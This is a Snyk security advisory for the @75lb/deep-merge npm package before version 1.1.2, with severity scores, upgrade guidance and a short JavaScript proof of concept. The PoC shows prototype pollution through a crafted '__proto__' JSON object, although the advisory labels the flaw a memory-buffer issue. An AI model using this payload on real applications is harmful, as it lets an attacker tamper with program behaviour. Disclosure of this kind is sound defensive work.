Improper Restriction of Operations within the Bounds of a Memory Buffer Affecting @75lb/deep-merge package, versions <1.1.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.11% (44th percentile)

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  • Snyk ID SNYK-JS-75LBDEEPMERGE-7575311
  • published 31 Jul 2024
  • disclosed 30 Jul 2024
  • credit mestrtee

How to fix?

Upgrade @75lb/deep-merge to version 1.1.2 or higher.

Overview

@75lb/deep-merge is a Deep-merge the values of one object structure into another

Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer through the merge methods of lodash to merge objects. An attacker can execute arbitrary code or cause a system crash by manipulating the input objects passed to these methods.

PoC

(async () => {
  const lib = await import('@75lb/deep-merge');

var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
6.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    None
  • Integrity (VI)
    Low
  • Availability (VA)
    Low
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None